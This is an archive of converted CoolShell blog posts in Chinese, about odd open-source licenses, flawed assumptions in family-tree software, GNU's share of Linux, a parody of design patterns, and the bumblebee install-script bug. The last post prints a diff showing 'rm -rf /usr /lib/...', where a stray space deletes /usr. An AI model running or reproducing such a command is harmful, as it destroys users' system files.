\"Infographic of popular software licenses\")](https://coolshell.cn/wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg)\n\n\n最后，正如[那些BT雷人的程序语言](https://coolshell.cn/articles/4458.html \"BT雷人的程序语言（大全）\")一样，我想介绍两个比较独特的开源软件许可证给你，以辉映本文的标题——\n\n\n#### 1、WTFPL\n\n\n[WTFPL](http://sam.zoy.org/wtfpl/COPYING)全称 What The Fuck Public License，这个许可证单从名字上就那么NB了，其许可证如下，相当的短，完全的自由，你的开源软件有自信用这个许可证吗？\n\n\n\n```\n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n                    Version 2, December 2004\n\n Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>\n\n Everyone is permitted to copy and distribute verbatim or modified\n copies of this license document, and changing it is allowed as long\n as the name is changed.\n\n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. You just DO WHAT THE FUCK YOU WANT TO.\n```\n\n最后那句——You just DO WHAT THE FUCK YOU WANT TO 真是铿锵有力，怎么说怎么痛快，很有一种在看美国大片的感觉。这是我喜欢这个许可证的原因之一，即不限制你控制版权，也不限制你放弃版权！\n\n\n#### 2、DBAD\n\n\n[DBAD](https://github.com/SFEley/candy/blob/2f964916961a2dcccbb374cd389520ac2ac62226/LICENSE.markdown)全称 Don’t Be A Dick，dick是什么我就不解释了，你自己查字典吧。这个许可证中定义了什么是dick，\n\n\n\n> \n> A person who *does not* respect the time and energy that have been invested in the Project, ……. A Dick is nearly always selfish, but not necessarily with deliberate intent; some Dicks are merely thoughtless. ……\n> \n> \n> \n\n\n也就是项目中扯淡的人。这个许可证最NB的地方在于其不限制软件的版权，而是限制了软件开发中的人的行为。我真是太喜欢这个许可证了。（请参看其第四节Limitation ）\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/3723.html)[（麻省理工免费课程）计算机科学和编程导论](https://coolshell.cn/articles/3723.html)\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![如何重构“箭头型”代码](../wp-content/uploads/2017/04/IMG_7411-150x150.jpg)](https://coolshell.cn/articles/17757.html)[如何重构“箭头型”代码](https://coolshell.cn/articles/17757.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\nThe post [狗日的开源软件许可证](https://coolshell.cn/articles/4657.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-10 软件真的好难做啊.md",
    "content": "---\nlayout: post\ntitle: 软件真的好难做啊\ndate: 2011/6/10/ 0:45:17\nupdated: 2011/6/10/ 0:45:17\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得以前本站的那一篇“[编程好难啊](https://coolshell.cn/articles/1391.html \"编程真难啊\")”吗，那是一篇众程序员调侃程序新手的文章，有恶搞的成分在里面。今天要和大家说的这个事没有一些恶搞和调侃的意思，是比较严肃的话题，你一定可以从中收获一些东西。这个话题来自StackOverflow上的一个问题——[Cycle in Family Tree Software](http://stackoverflow.com/questions/6163683/cycles-in-family-tree-software \"Cycle in family tree software\")，这个程序员问了下面这个问题：\n\n\n\n> 我是一个写家族族谱软件的程序员（我用的是C++和Qt），这个软件基本上没有什么问题，直到有一天有个用户报告了一个bug。这个问题是这样的——**我这个用户和他女儿生了两个孩子**。\n> \n> \n> 于是，我程序员的一些断言和硬性条件导致程序报错，因为我的程序在处理这个关系的时候，其发现X即是Y的爸爸，又是Y的爷爷，所以只能报错。\n> \n> \n> 请问，**在不需要移除我的断言和数据验证的情况下，****我怎么才能解决这个问题**？\n> \n> \n\n\n看到这里，请重点阅读一下下面的两点：\n\n\n* 如果你看到这里开始兴奋了，请你为你阴暗的心理去面壁反省10分钟，因为这是一个很技术的问题。\n* 如果你开始陷入了深深的思考如何解决这个问题，那么你绝对是一个合格的程序员，因为你已陷入技术已经很深了，有点呆了。\n\n\n我在前面说过，“**这个是一个严肃的话题，你可以从中收获一些东西**”，当然，我并不希望你来收获乱伦的知识和心得，酷壳是一个技术博客，应该是收获技术方面的东西。\n\n\n\n从技术的角度上来说，这是我们经常在设计软件时犯的错误——\n\n\n#### **1）作了错误的假设**（Assumption）\n\n\nAssumption是软件设计的重大天敌，Assumption的动词Assume意为Ass u me – Ass you and me 。你的假设做得越多，你的设计就越不靠谱。这里的假设是——我们以为family tree是一个tree，其实并不是tree。**Assumption是魔鬼**。\n\n\n还有一些经典的Assumption如下所示\n\n\n* 最著名的就是那个y2k臭虫。\n* 不要以为没有2月30日，在瑞典1712年有2月30日\n* 一分钟有60秒？闰秒呢？\n* 双胞胎的生日是同一天吗？\n* 双胞胎的父亲是同一个？\n* 性别只有男和女？\n* 婚姻只能是异性？ 关于这一点，推荐一篇强文——[Gay marriage: the database engineering perspective](http://qntm.org/gay) (同性婚姻：数据库工程)\n\n\n#### **2）没有认真分析用户案例**（Use Case）\n\n\n在设计软件时，我们需要考虑各种各样的用户案例，比如如下的东西：\n\n\n* 私生子的问题\n* 一夫多妻或一妻多夫，同父异母，同母异父\n* 就算一夫多妻制违反法律，也会有离异再婚的情况\n* 同性恋的问题，虽然不能繁衍，但可以领养。\n* 换妻活动\n* 各种乱伦关系——这种东西那个民族都不少，尤其是古时候，比如：\n\t+ 先后嫁了两个人其是父子关系（昭君）\n\t+ 达尔文同学和他的表妹，爱因斯坦的二婚是和他的表姐，埃及艳后嫁了她的弟弟，……\n\t+ 顺治同学娶了四个老婆，这四个人还是一家人：姑姑，侄女，妹妹，女儿。（[参看这里](http://blog.sina.com.cn/s/blog_5e62ac110100onwa.html)）\n\t+ 刘邦同学的母后干出来的事，相当变态（[参看这里](http://bbs.tiexue.net/post2_5114346_1.html)）\n\t+ 中国古代的“扒灰老” （类似于楼主那个问题的Use Case）\n\n\n**不想再列下去了，人类真TMD恶心，有点要吐了**。\n\n\n——————————为了缓解一下恶心的气氛，请允许我插入一个搞笑短文——————————\n\n\n\n> 一位自杀者在他的遗书里讲述了他自杀的原因，听起来实在让人头痛。遗书这样写道：“我和一个寡妇结了婚，她有一个已成年的女儿，我父亲跟我妻子带过来的女儿结了婚。所以我父亲就成了我的女婿，女儿就成了我的后母，我管父亲叫爸爸，而我父亲也管我叫爸爸；我女儿管我叫爸爸，但我却管她叫妈妈；我还得管我妻子叫姥姥，因为她是我后母的母亲。不久我女儿，也就是我后母生了一个儿子，他是我同父异母的弟弟，他也得管我叫姥爷，因为他也是我的外孙。后来我妻子，也就是我姥姥生了一个儿子，他是我后母的弟弟，我是他的外甥，所以儿子管我叫爸爸，我管儿子叫舅舅。另外我是我妻子，也就是我姥姥的外孙，同时也是我姥姥的丈夫，所已我也是我的外祖父。又因为我妻子是我的外祖母，我的儿子，也就是我的舅舅是我的弟弟和我女儿的弟弟，所以我……我的天哪，这么复杂的关系实在让我伤透了脑筋，我只有一死才能得以解脱……”\n> \n> \n\n\n————————————————————————插入完毕————————————————————\n\n\n看完上面这个短文，不知道你是否和我一样，觉得这么一个简单的程序将是如此难做啊。**另外，我决定在下一次的面试中让应聘者来设计Family Tree的程序**。\n\n\n我又说多了，现在还是让我们回到技术上来。除了上面那几个观点，我在回复中还看到了如入一些有意思的回复：\n\n\n* “我的软件没有bug，是你的生活有bug”——让我想到了[程序员惯用的借口](https://coolshell.cn/articles/1174.html \"程序员惯用的解释(Top 25)\")\n* “算法中不应该加太多的限制，限制多了反而让算法不灵活。”\n* “移除断言，并不代表就不出错，对于这种rare case，我们最好给一个Warning提醒用户，让用户确认确实是这样的。”\n* “关于解决这个问题，移除那个断言，如果显示上会有问题的话，那就复制一下有不同关系的人就可以了”\n* “你真的应该想想你的软件的价值是什么？市场在哪里？你真的要照顾这样的用户吗？”\n\n\n挺好的，相信你对软件开发又学到了一些东西。\n\n\n**（转载时请勿用于商业目的，并请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5686.html)[多些时间能少写些代码](https://coolshell.cn/articles/5686.html)\nThe post [软件真的好难做啊](https://coolshell.cn/articles/4811.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-13 GNU_Linux下有多少是GNU的？.md",
    "content": "---\nlayout: post\ntitle: GNU/Linux下有多少是GNU的？\ndate: 2011/6/13/ 0:25:42\nupdated: 2011/6/13/ 0:25:42\nstatus: publish\npublished: true\ntype: post\n---\n\n一个葡萄牙的学生写了一篇文章 《[How much GNU is there in GNU/Linux?](http://pedrocr.net/text/how-much-gnu-in-gnu-linux)》 – GNU/Linux下有多少是GNU的。他的这篇文章主要分布了今年4月份的Ubuntu Natty的Linux分发包。其主要是用代码行来做的分析，其给了两个饼图。\n\n\n第一个饼图如下，其指明了各种主流的开源项目组的分布情况。可见GNU只占了8%，当然，GNome也是GNU的，加起来也只有13%，只占整个分发包很少的比重。\n\n\nhttp://pedrocr.net/images/GNUTotalSplit.png\n\n\n第二个图，作者把GNU的部分拿了出来，再进行了分析：\n\n\n\n在下面这个图中，我们可以看到主要是四大块——gcc, gdb, binutils 和 glibc，所以，作者说，这些东西都不是最终用户需要的，不是每一个用户都是需要搞开发的。所以，如果去除这些，再去除Gnome（这个桌面UI也不是很力），那么GNU的东西几乎没有了。\n\n\nhttp://pedrocr.net/images/GNUSplit.png\n\n\n所以，作者以此来挑战Richard Stallman提到的 GNU/Linux的这个说法。好像更为好的说法应该叫——\n\n\n**GNU/KDE/java/xorg/Linux**\n\n\n我对这篇文章有下述一些感觉：\n\n\n* 以代码行来衡量重要性，非常的不准确。比尔盖茨说过——“用代码行数来衡量编程的进度，就如同用航空器零件的重量来衡量航空飞机的制造进度一样”（参看《[最佳编程语录](https://coolshell.cn/articles/2753.html \"最佳编程语录\")》），所以，用这个数据来并不一定正确。如果用Linux的各种包的依赖性可能会更好一点。\n* 至少我知道，离开了glibc，可能整个操作系统都会不举。Linux下，绝大多数软件都是gcc/gdb编程和调试出来的（当然，LLVM和Clang正在挑战着gcc编译器），而且大多数软件都在用着GPL的许可证（[虽然开源世界的许可证是如此的混乱](https://coolshell.cn/articles/4657.html \"狗日的开源软件许可证\")）\n* 辩证地，我们不能否定GNU的历史价值，同时我们似乎也在看到GNU好像有点萎靡。\n\n\n老实说，其实叫什么不重要，是GNU/Linux也好，是Ubuntu 也好，还是Android也好，无所谓。Linux的各种分发包中都存在着全世界黑客文化的和开源文化的结晶，每当我看到这样的分布图时（例如：[是谁写的Linux?](https://coolshell.cn/articles/1360.html \"谁写了Linux\")），我心中都有一种说不出来的豪情，这难道不真是一种壮举吗？（[Unix黑客文化的真正延伸](https://coolshell.cn/articles/2322.html \"Unix传奇(上篇)\")）。\n\n\n不管这种方式的软件有没有市场，能不能得到“最终用户”的认可，但这已成为了软件开发的一种精神——那种不分彼此，相互协作的精神，不是吗？\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1097.html)[Ksplice Uptrack — Ubuntu更新不用重启](https://coolshell.cn/articles/1097.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/501.html)[Ubuntu的并行启动](https://coolshell.cn/articles/501.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [GNU/Linux下有多少是GNU的？](https://coolshell.cn/articles/4826.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-16 “另类” 设计模式.md",
    "content": "---\nlayout: post\ntitle: “另类” 设计模式\ndate: 2011/6/16/ 0:46:28\nupdated: 2011/6/16/ 0:46:28\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这篇文章来自这里：<http://www.lsd.ic.unicamp.br/~oliva/fun/prog/resign-patterns>，这篇文章有点意思了，山寨了我们著名的Design Pattern。这篇文章并不是很容易翻译，也许我翻译的不好，大家多指正。另外，这篇文章将失去原有的趣味在于其使用了经典设计模式的单词很相似的单词，一走眼你还以为是正二八经的设计模式。呵呵。所以，我在下文中，我会保留原有的英文单词，并把真正的23个经典设计模式的英文名放在旁边（灰色）。这篇文章和之前的[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html \"如何写出无法维护的代码\")有异曲同工，个人感觉都是比较欢乐的。\n\n\n \n\n\n**辞职模式****Resign Patterns****Design Patterns**\n\n\n不合式的非面向项目软件开发病症  \n\nAilments of Unsuitable Project-Disoriented Software  \n\nElements of Reusable Object-Oriented Software\n**作者**：[Michael Duell](mailto:mitework@yercompany.com)\n#### **概要**\n\n\n任何一个熟悉那本由四个人写的经典的设计模式书的朋友，应该知道那本书里的模式都是非常优雅和划时代的。然而，不幸的是，从那些老代码中无法提练出这些模式，因为，在出现这些模式前，大家都不会使用模式。因此，这项工作是从大量的代码中提练出一个模式的目录。这些模式都有充足和永恒的示例。希望你能享受阅读这些模式，但千万不要模仿并使用他们！\n#### 1. Cremational Patterns 火葬模式 | Creational patterns 创建模式\n\n\n下面是五个 cremational patterns.\n##### **1.1 Abject Poverty  一贫如洗 | Abstract Factory 抽象工厂**\n\n\nAbject Poverty 模式能让你的软件相当难测试和维护， 并且需要巨大的财政支出，预算已经完全赤字。\n\n\n##### **1.2 Blinder 眼罩模式 | Builder 建造模式**\n\n\nBlinder 模式是一个应急有效的解决方案，其不需要考虑需求在未来的变化。目前，我们还不太清楚我们为什么叫Blinder模式，一种说法是他们会在写代码的时候被设计人员戴上眼罩，另一种说法是他们希望在维护代码的时候挖出双眼。\n\n\n##### **1.3 Fallacy Method 错误方法 | Factory method 工厂方法**\n\n\nFallacy方法主要是在于处理一些不明显的案例。代码逻辑看上去是正确的，当只要某想要去测试一下，或是某个不明显的案例发生了，那些代码中的错误也就出现了。\n\n\n\n##### **1.4 ProtoTry   尝试模式| Prototype 原型模式**\n\n\nProtoTry 模式一个快速而肮脏的软件开发工作模型的尝试。这个模式的原意本来是想在后面有时间总结一下教训并改进或重写这些代码，但是可惜的是没有时间。所以，这些代码也就成了众所周知的 legacy code – 旧代码。\n\n\n##### **1.5 Simpleton 傻瓜模式 | Singleton 单例模式**\n\n\nSimpleton 模式，是把一个终极复杂的模式用于那些最最没有价值的工作上。这个模式精确地指出了人员的能力程度。\n\n\n \n\n\n#### **2. Destructural Patterns 无结构模式 |** Structural patterns  结构模式\n\n\n下面是七个经典的变性模式\n\n\n##### **2.1 Adopter 领养者模式 | Adapter 适配器模式**\n\n\nAdopter模式提供了一个给那些“孤儿函数”的家。这这些函数和整个大家族别的函数看上去一点也不一样，他们和整个家族的唯一联系就是通过我们的Adopter。\n\n\n##### **2.2 Brig 监狱模式 | Bridge 桥接模式**\n\n\nBrig 模式也就是那些坏代码的容器类。这就是众所周知的软件模块。\n\n\n##### **2.3 Compromise 妥协模式 | Composite 合成模式**\n\n\nCompromise 模式主要用来平衡软件开发的工期和质量。 使用这个模式的结果是——劣质的软件 + 延误的工期。\n\n\n##### **2.4 Detonator 地雷模式 | Decorator 修饰模式**\n\n\nDetonator 模式是极其普通的，在程序中放置一些不易查觉的地雷。一个常见的经典示例是只用两位数来表示年份。这个炸弹已经暴露出来了，并在那等着爆炸！（陈皓注：作者这里说的是千年虫问题，本文写在1997年）\n\n\n##### **2.5 Fromage 干酪模式 | Facade 外观模式**\n\n\nFromage 模式让软件看上去满是漏洞。 Fromage 模式让我们的软件像Cheesy（芝士，也有劣质的意思）一样，有大量的奇淫巧技让你的软件没有任何一点可移值性。这个模式和奶酪一样，越是老越是香啊。\n\n\n##### **2.6 Flypaper 捕蝇纸模式 | Flyweight 享元模式**\n\n\nFlypaper 模式的意思是，代码是由设计的人完成，而由另一个人维护。维护着这个模式的那个写代码的人发现自己被粘住了，而且很有可能在软件失支控制前夭折。\n\n\n##### **2.7 ePoxy 沥清模式 | Proxy 代理模式**\n\n\nePoxy 模式主旨把软件的模式紧密地耦合在一起。随着耦合模块的增加，我们就可以看到沾粘它们的沥清。\n\n\n#### **3. Misbehavioral Patterns 行为不检模式| Behavioral Patterns 行为模式**\n\n\n下面是11个行为不检点模式\n\n\n##### **3.1 Chain of Possibilities 可能性链模式 | Chain of responsibility 责任链模式**\n\n\nChain of Possibilities 模式主旨是创造肥大的，拙劣文档的软件模块。没有人知道其功能有多宽泛，其可能性永无止境。也就是我们所说的——无确定性。\n\n\n##### **3.2 Commando 突击队模式 | Command 命令模式**\n\n\nCommando 模式主旨是用来应付工作，让事情快点完成。这个模式不管封装，只图快快把代码写完。反正不犯法。\n\n\n##### **3.3 Intersperser 散布模式| Interpreter 解释器模式**\n\n\nIntersperser 模式把一个功能的代码散布在系统的各个地方，其可以让功能无法被测试，修改，以及让人读懂。(陈皓注：这让我想起了以前VB，PB和Delphi的开发，功能的逻辑代码散步在各个组件的不同事件中)\n\n\n##### **3.4 Instigator 煽动模式| Iterator 迭代器模式**\n\n\nInstigator 模式看上去是良性的，但是其却大规模的以暴力的方式在破坏软件系统。（陈皓注：作者没有做过多的解释，不过，我想到了[Windows编程革命史](https://coolshell.cn/articles/3008.html \"Windows编程革命简史\")，应该说的就是这个吧）\n\n\n##### **3.5 Momentum 冲击模式| Memento 备忘模式**\n\n\nMomentum模式让软件大小，内存，CPU，和复杂度成极数级成长。（陈皓注：作者对此没做过多解释，这个特性很像Windows操作系统，每个Windows 的新版本，无论是在尺寸，内存和CPU要求上，和复杂度上都会比上一版有极数级的提高）\n\n\n##### **3.6 Medicator 用药模式| Mediator 媒介模式**\n\n\nMedicator 模式是一个实时的屠夫一样，其把其它的系统搞得就像被打过强力镇静剂一样没有反应。\n\n\n##### **3.7 Absolver 免责模式| Observer 观察者模式**\n\n\nAbsolver模式表现于那些被以前员工开发的代码的问题。对于现任员工，其可以因为很多代码里历史上的问题而免除被批评，其声称其对软件中的任何问题都不负责。这也是我们从所周知的——“这不是我的代码”。（参看：[程序员的借口](https://coolshell.cn/articles/1174.html \"程序员惯用的解释(Top 25)\")）\n\n\n##### **3.8 Stake 利害关系模式 | State 状态模式**\n\n\nStake 模式表现于那些被现已成为经理的人写的代码中的各种问题。虽然这些问题很不爽，但是经理们在这个软件里的利害关系太高了，所以，不能让任何人重写，因为这代表着我们经理的技术成就。\n\n\n##### **3.9 Eulogy 颂歌模式 | Strategy策略模式**\n\n\nEulogy 模式存在于所有的项目中，也就是 Post-Mortem(事后总结分析会)。\n\n\n##### **3.10 Tempest Method 暴风雨模式| Template Method 模板方法**\n\n\nTempest Method 主要用在软件快要发布的最后几天。这个模式的物征是，代码中没有注释，并有使用了好几个Detonator Pattern 地雷模式。\n\n\n##### **3.11 Visitor From Hell 地狱访问者模式 | Visitor 访问者模式**\n\n\nVisitor From Hell 模式一般是在运行时没有检查数组越界的一个巧合。这样一来，我们系统就可以实现Visitor From Hell 模式，因为这样可以造成重要数据的重写。\n\n\n#### 参考\n\n\n* [1] Gamma, E., Helm, R., Johnson, R., Vlissides, J., Design Patterns – Elements of Reusable Object-Oriented Software. Addison-Wesley, 1995.\n\n\n* [2] Michael Duell is an Engineer at AG Communication Systems, where his Resign Patterns have been rejected in favor of the Gang of Four Design Patterns.\n\n\n* [3] “Resign Patterns: Ailments of Unsuitable Project-Disoriented Software,” The Software Practitioner, Vol. 7, No. 3, May-June 1997, p. 14.\n\n\n \n\n\n \n\n\n（全文完）\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [“另类” 设计模式](https://coolshell.cn/articles/4844.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-20 一个空格引发的惨剧.md",
    "content": "---\nlayout: post\ntitle: 一个空格引发的惨剧\ndate: 2011/6/20/ 0:26:34\nupdated: 2011/6/20/ 0:26:34\nstatus: publish\npublished: true\ntype: post\n---\n\n你是否相信如果你的程序里没有检查一个变量会导致怎么系统瘫痪？无论你相不相信，这是我一个亲身经历过的案例，你可以在本站的[程序员那些悲催的事儿](https://coolshell.cn/articles/3980.html \"程序员那些悲催的事儿\")中找到很多这样的事。这样的事昨天在发生，今天同样在发生。[Unix40多年](https://coolshell.cn/articles/2322.html \"Unix传奇(上篇)\")了，在这40年里，程序员发生过各种各样的的惨剧，但是大多数的事情一而再再而三的重演。\n\n\n今天的你，可能在开发者各种各样NB的系统，你会相信你的一个空格也能导致系统瘫痪吗？也许你可能很难相信这个事。不过，再下面这个事将告诉你这个血淋淋的事实 —— 一个空格产生的bug可以让你的系统瘫痪。\n\n\n[bumblebee](https://github.com/MrMEEE/bumblebee)是一个开源项目，这个名字也就是变形金刚里的大黄蜂，这个项目是这样介绍自己的——\n\n\n\n> bumblebee is Optimus support for Linux, with real offloading, and not switchable graphics.. More important.. it works on Optimus Laptops without a graphical multiplexer..\n> \n> \n\n\nOptimus 是NVIDIA的“优驰”技术，其可以将您的笔记本电脑PC提升到绝佳状态，提供出色的图形性能，并在需要时延长电池续航时间。这个项目是把这个技术移到Linux上来。\n\n\n这个项目本来不出名，不过，程序在其安装脚本install.sh里的一个bug让这个项目一下子成了全世界最瞩目的项目，这个bug的fix如下：\n\n\n\n```\n@@ -348,7 +348,7 @@ case \"$DISTRO\" in\n-  rm -rf /usr /lib/nvidia-current/xorg/xorg\n+  rm -rf /usr/lib/nvidia-current/xorg/xorg\n```\n\n看明白了吗？**空格**。这个空格会导致什么样的问题呢？呵呵。你有没有感到菊花一紧？这个bug绝对的霸气外露！真是验证了[“如何写出无法维护代码](https://coolshell.cn/articles/4758.html \"如何写出无法维护的代码\")”的那句话——“**测试你的程序是一种懦夫的行为**”。\n\n\n不过，最精彩还不是这个bug，而是全世界程序员的对这个bug 的 code review comments，真的相当的欢乐。请强势围望！\n\n\n\n<https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6#diff-1>\n\n\n重点是其中的很多图片——下面的图片众多。\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620115951113.gif \"clip_image001\"](http://pic003.cnblogs.com/2011/34358/201106/20110620115950761.gif)\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062012551463.jpg\n\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062012574297.jpg\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620115951524.jpg \"clip_image002\"](http://pic003.cnblogs.com/2011/34358/201106/20110620115951580.jpg)\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062012590122.jpg\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013022333.jpg\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013033063.jpg\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013042755.jpg\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/2011062011595582.jpg \"clip_image007\"](http://pic003.cnblogs.com/2011/34358/201106/20110620115954514.jpg)\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620115958644.jpg \"clip_image010\"](http://pic003.cnblogs.com/2011/34358/201106/20110620115958341.jpg)\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620115959784.jpg \"clip_image011\"](http://pic003.cnblogs.com/2011/34358/201106/20110620115958163.jpg)\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620120001976.jpg \"clip_image012\"](http://pic003.cnblogs.com/2011/34358/201106/20110620115959641.jpg)\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013060775.jpg\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620120001634.gif \"clip_image014\"](http://pic003.cnblogs.com/2011/34358/201106/20110620120001777.gif)\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013073049.jpg\n\n\nhttp://pic003.cnblogs.com/2011/34358/201106/20110620120002955.gif\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013083437.jpg\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013090259.jpg\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620120002202.jpg \"clip_image016\"](http://pic003.cnblogs.com/2011/34358/201106/20110620120002899.jpg)\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013110568.jpg\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013121496.jpg\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620120002718.jpg \"clip_image019\"](http://pic003.cnblogs.com/2011/34358/201106/20110620120002666.jpg)\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620120003540.jpg \"clip_image020\"](http://pic003.cnblogs.com/2011/34358/201106/20110620120003129.jpg)\n\n\n[http://pic003.cnblogs.com/2011/34358/201106/20110620120004356.jpg \"clip_image021\"](http://pic003.cnblogs.com/2011/34358/201106/2011062012000453.jpg)\n\n\nhttp://pic003.cnblogs.com/2011/1/201106/2011062013135533.jpg\n\n\n(全文完)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – 